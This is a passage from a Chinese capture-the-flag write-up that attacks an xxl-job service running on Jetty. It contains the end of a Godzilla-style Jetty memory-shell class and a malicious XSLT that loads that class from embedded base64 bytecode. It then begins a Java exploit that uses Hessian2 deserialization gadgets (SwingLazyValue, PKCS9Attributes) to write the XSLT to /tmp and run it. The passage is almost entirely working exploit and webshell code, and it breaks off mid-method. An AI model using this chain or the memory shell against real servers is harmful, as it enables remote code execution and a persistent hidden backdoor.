 URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
 Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
 defMethod.setAccessible(true);
 payload = (Class) defMethod.invoke(urlClassLoader, data, 0, data.length);
 } else {
 java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
 Object f = payload.newInstance();
 f.equals(arrOut);
 f.equals(data);
 f.equals(request);
 base.setHandled(true);
 ServletOutputStream outputStream = response.getOutputStream();
 outputStream.write(md5.substring(0, 16).getBytes());
 f.toString();
 outputStream.write(base64Encode(x(arrOut.toByteArray(), true)).getBytes());
 outputStream.write(md5.substring(16).getBytes());
 outputStream.flush();
 return ;
 }
 }
 } catch (Exception e) {
 }
 }
 }
 
 | 
然后编译一下转成base64放到xslt文件里面去,最终的恶意xslt如下
| <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"
 xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
 xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"
 xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"
 >
 <xsl:template match="/">
 <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'yv66vgAAADMCAAgA+QoA+gD7CgA4APwKADgA/QoA+gD+BwD/CgD6AQAKAAYBAQoABgECCgA4AQMHAQQKAIgBBQgBBgkAgAEHCAEICQCAAQkHAQoKABEBBQoAEQELCgARAQwKAIABDQkAgAEOCQEPARAKAREBEggBEwoANQEUCAEVCgA1ARYKARcBGAoBFwEZBwEaCgCAARsKARwBHQoBHAEeCgA3AR8IALQKAB8BIAoAHwEhBwC1CAEiCACuBwCvCACpCgA1ASMIASQKADgBJQcBJggBJwgBKAoANQEpCgEqASsIASwHAS0HAMEHAS4HAS8IATAKADUBMQgBMggBMwgBNAgBNQgBNggBNwoBOAE5BwE6CgBCATsKATgBPAoBOAE9CAE+CwE/AUAIANMKADgBQQoAOAFCCAFDCgEPAUQKADgBRQgBRgoAOAFHCAFICAFJCAFKCgFLAUwHAU0KAU4BTwoBTgFQCgFRAVIKAFQBUwgBVAoAVAFVCgBUAVYLAVcBWAoBWQFaCgFZAVsIAVwLAT8BXQoAgAFeCgCAAV8JAIABYAcBYQcBYgoBHAFjCgBkAWQHAWUIAWYJAWcBaAoANQFpCgEqARgKAWcBagcBawoAbgEFCgA3ASUKADgBbAoANwEMCgBuAW0KAIABbgoAOAFvCgCAAXAKAC8BcQoBcgFzCgF0AXUHAXYIAXcKAXgBeQoBFwF6CgB6AXsHAXwHAX0KAIABfgoAegF/BwGABwGBCgCEAYIHAYMHAYQHAYUBAAJ4YwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHBhc3MBAANtZDUBAAdwYXlsb2FkAQARTGphdmEvbGFuZy9DbGFzczsBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFtAQAdTGphdmEvc2VjdXJpdHkvTWVzc2FnZURpZ2VzdDsBAAFzAQADcmV0AQANU3RhY2tNYXBUYWJsZQcBLwcBBAEABjxpbml0PgEAAygpVgEABHRoaXMBAChMY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGw7AQAEKEkpVgEAAUkBAAlnZXRVbnNhZmUBABMoKUxzdW4vbWlzYy9VbnNhZmU7AQAGdW5zYWZlAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACXRoZXVuc2FmZQEAEUxzdW4vbWlzYy9VbnNhZmU7AQAKRXhjZXB0aW9ucwEADWdldFZhbHVlRmllbGQBACsoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENvbm5lY3Rpb247AQAFdmFsdWUBABJMamF2YS9sYW5nL09iamVjdDsBAAFqAQANdGhyZWFkTG9jYWxzRgEAC3RocmVhZGxvY2FsAQAFdGFibGUBABpbTGphdmEvbGFuZy9yZWYvUmVmZXJlbmNlOwEAAWkBAAt0aHJlYWRHcm91cAEAF0xqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAMdGhyZWFkc2ZpbGVkAQAHdGhyZWFkcwEAE1tMamF2YS9sYW5nL1RocmVhZDsHARoHAYYHAYcHAS4BAAxiYXNlNjRFbmNvZGUBABYoW0IpTGphdmEvbGFuZy9TdHJpbmc7AQAHRW5jb2RlcgEABmJhc2U2NAEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAJicwEAAltCAQAMYmFzZTY0RGVjb2RlAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAB2RlY29kZXIBAAF4AQAHKFtCWilbQgEAAWMBABVMamF2YXgvY3J5cHRvL0NpcGhlcjsBAAFaBwF9BwGIAQAGaGFuZGxlAQCGKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAARjbWRzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEADG91dHB1dFN0cmVhbQEAI0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQADY21kAQAOdXJsQ2xhc3NMb2FkZXIBABlMamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXI7AQAJZGVmTWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAZhcnJPdXQBAB9MamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW07AQABZgEABGRhdGEBAARiYXNlAQAiTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9SZXF1ZXN0OwEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsHAM8HAYkHAYoBAAg8Y2xpbml0PgEACnZhbHVlRmllbGQBAClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDb25uZWN0aW9uOwEAB2hhbmRsZXIBADRMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL2hhbmRsZXIvSGFuZGxlckNvbGxlY3Rpb247AQASbXV0YWJsZVdoZW5SdW5uaW5nAQAIaGFuZGxlcnMBACNbTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAC25ld0hhbmRsZXJzAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBACJMamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwcBJgcBdgcA7AcBgAcBgwcBhAEAClNvdXJjZUZpbGUBABpKZXR0eUdvZHppbGxhTWVtc2hlbGwuamF2YQEAA01ENQcBiwwBjAGNDAGOAY8MAZABkQwBkgGTAQAUamF2YS9tYXRoL0JpZ0ludGVnZXIMAZQBjwwAmgGVDAGWAZcMAZgBmQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAJoAmwEAEDNjNmUwYjhhOWMxNTIyNGEMAIkAigEACHVzZXJuYW1lDACLAIoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwBmgGbDAGWAZkMAIwAjwwAjACKBwGcDAGdAZ4HAZ8MAaAAngEAD3N1bi5taXNjLlVuc2FmZQwBoQGiAQAJdGhlVW5zYWZlDAGjAaQHAYcMAaUBpgwBpwGoAQAPc3VuL21pc2MvVW5zYWZlDACgAKEHAakMAaoBqwwBrAGtDAGuAa8MAbABsQwBsgGzAQAMdGhyZWFkTG9jYWxzDAG0AZkBACdvcmcuZWNsaXBzZS5qZXR0eS5zZXJ2ZXIuSHR0cENvbm5lY3Rpb24MAbUBtgEAJ29yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ29ubmVjdGlvbgEAEGphdmEudXRpbC5CYXNlNjQBAApnZXRFbmNvZGVyDAG3AbgHAbkMAboBuwEADmVuY29kZVRvU3RyaW5nAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAG8Ab0BAAZlbmNvZGUBAApnZXREZWNvZGVyAQAGZGVjb2RlAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgEADGRlY29kZUJ1ZmZlcgEAA0FFUwcBiAwBjAG+AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAmgG/DAHAAcEMAcIBwwEAC3gtZnVjay1kYXRhBwHEDAHFAI8MAcYBxwwByAHJAQAHb3MubmFtZQwBygCPDAHLAZkBAAN3aW4MAcwBzQEAAi9jAQAJL2Jpbi9iYXNoAQACLWMHAc4MAc8BpgEAEWphdmEvdXRpbC9TY2FubmVyBwHQDAHRAdIMAdMB1AcB1QwB1gHXDACaAdgBABBcQVNBRFNBREFTRFNBREFTDAHZAdoMAdsBmQcB3AwB3QHeBwHfDAHgAeEMAeIAmwEACGdvZHppbGxhDAHjAI8MAMIAwwwAxQDGDACNAI4BABdqYXZhL25ldC9VUkxDbGFzc0xvYWRlcgEADGphdmEvbmV0L1VSTAwB5AHlDACaAeYBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcB5wwB6ACODAHpAbgMAeoB6wEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDAHsAe0MAe4BjwwAugC7DAHsAZcMAKcAqAwB7wHwBwHxDAHyAfMHAfQMAfUB9gEAMm9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9oYW5kbGVyL0hhbmRsZXJDb2xsZWN0aW9uAQATX211dGFibGVXaGVuUnVubmluZwcB9wwB6gH4DAH5AfoMAfsB/AEAIG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyAQAmY29tL3h4bC9qb2IvY29yZS9KZXR0eUdvZHppbGxhTWVtc2hlbGwMAJoAngwB/QH+AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAJoB/wEAIGphdmEvbGFuZy9DbGFzc05vdEZvdW5kRXhjZXB0aW9uAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24BADBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvaGFuZGxlci9BYnN0cmFjdEhhbmRsZXIBABVqYXZhL2xhbmcvVGhyZWFkR3JvdXABABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAE2phdmF4L2NyeXB0by9DaXBoZXIBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAeamF2YXgvc2VydmxldC9TZXJ2bGV0RXhjZXB0aW9uAQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEACHRvU3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQADZ2V0AQAmKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvVGhyZWFkAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7AQAOZ2V0VGhyZWFkR3JvdXABABkoKUxqYXZhL2xhbmcvVGhyZWFkR3JvdXA7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQARb2JqZWN0RmllbGRPZmZzZXQBABwoTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOylKAQAJZ2V0T2JqZWN0AQAnKExqYXZhL2xhbmcvT2JqZWN0O0opTGphdmEvbGFuZy9PYmplY3Q7AQAHZ2V0TmFtZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAtuZXdJbnN0YW5jZQEAFCgpTGphdmEvbGFuZy9PYmplY3Q7AQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsBABcoW0JMamF2YS9sYW5nL1N0cmluZzspVgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVgEAB2RvRmluYWwBAAYoW0IpW0IBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAJZ2V0SGVhZGVyAQAQZXF1YWxzSWdub3JlQ2FzZQEAFShMamF2YS9sYW5nL1N0cmluZzspWgEAB2lzRW1wdHkBAAMoKVoBAAtnZXRQcm9wZXJ0eQEAC3RvTG93ZXJDYXNlAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBACBvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvUmVxdWVzdAEACnNldEhhbmRsZWQBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAD2dldE91dHB1dFN0cmVhbQEAJSgpTGphdmF4L3NlcnZsZXQvU2VydmxldE91dHB1dFN0cmVhbTsBACFqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW0BAAV3cml0ZQEABShbQilWAQAFZmx1c2gBAAxnZXRQYXJhbWV0ZXIBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7AQAJc3Vic3RyaW5nAQAWKElJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvQnl0ZUFycmF5AQAOZ2V0SHR0cENoYW5uZWwBACgoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSHR0cENoYW5uZWw7AQAkb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsAQAJZ2V0U2VydmVyAQAjKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcjsBAB9vcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvU2VydmVyAQAKZ2V0SGFuZGxlcgEAJCgpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IYW5kbGVyOwEAEWphdmEvbGFu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')"/>
 <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>
 <xsl:variable name="rce" select="ru:defineClass('com.xxl.job.core.JettyGodzillaMemshell',$bs,$cl)"/>
 <xsl:value-of select="$rce"/>
 </xsl:template>
 </xsl:stylesheet>
 
 | 
这里一定要记得defineClass的类名要改啊,不然就报错了,一开始忘改了打了好久都没通😭,然后去前面试了一下api的未授权,也是没写对类名导致的😭浪费我好多时间
然后就是一把梭payload打一下
| package org.clown.exp;
 import com.caucho.hessian.io.Hessian2Input;
 import com.caucho.hessian.io.Hessian2Output;
 import com.caucho.hessian.io.SerializerFactory;
 import sun.security.pkcs.PKCS9Attribute;
 import sun.security.pkcs.PKCS9Attributes;
 import sun.swing.SwingLazyValue;
 
 import javax.swing.*;
 import java.io.*;
 import java.lang.reflect.Field;
 import java.net.HttpURLConnection;
 import java.net.URL;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 
 public class DasCTFEasyJob {
 public static byte[] Hessian2_Serial(Object o) throws IOException {
 ByteArrayOutputStream baos = new ByteArrayOutputStream();
 Hessian2Output hessian2Output = new Hessian2Output(baos);
 SerializerFactory serializerFactory = new SerializerFactory();
 serializerFactory.setAllowNonSerializable(true);
 hessian2Output.setSerializerFactory(serializerFactory);
 hessian2Output.writeObject(o);
 hessian2Output.flushBuffer();
 return baos.toByteArray();
 }
 
 public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
 ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
 Hessian2Input hessian2Input = new Hessian2Input(bais);
 Object o = hessian2Input.readObject();
 return o;
 }
 public static void setField(Object o, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
 Field declaredField = o.getClass().getDeclaredField(fieldName);
 declaredField.setAccessible(true);
 declaredField.set(o, value);
 }
 
 public static void postExp(String url1,byte[] poc) throws Exception{
 
 URL url = new URL(url1);
 HttpURLConnection connection = (HttpURLConnection) url.openConnection();
 
 connection.setRequestMethod("POST");
 
 connection.setRequestProperty("Content-Type", "application/octet-stream");
 
 connection.setDoOutput(true);
 
 OutputStream outputStream = connection.getOutputStream();
 outputStream.write(poc);
 
 int responseCode = connection.getResponseCode();
 System.out.println("Response Code: " + responseCode);
 
 connection.disconnect();
 }
 
 public static void uploadXslt(String url, String xsltFilePath) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
 UIDefaults uiDefaults = new UIDefaults();
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt", Files.readAllBytes(Paths.get("payload.xslt"))}));
 setField(pkcs9Attributes,"attributes",uiDefaults);
 byte[] data = Hessian2_Serial(pkcs9Attributes);
 
 byte[] poc = new byte[data.length + 1];
 System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
 System.arraycopy(data, 0, poc, 1, data.length);
 postExp(url,poc);
 }
 public static void doAttack(String url) throws Exception {
 
 PKCS9Attributes pkcs9Attributes = new PKCS9Attributes(new PKCS9Attribute[]{});
 UIDefaults uiDefaults = new UIDefaults();
 
 uiDefaults.put(PKCS9Attribute.EMAIL_ADDRESS_OID, new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}}));
 setField(pkcs9Attributes,"attributes",uiDefaults);
 byte[] data = Hessian2_Serial(pkcs9Attributes);
 
 byte[] poc = new byte[data.length + 1];
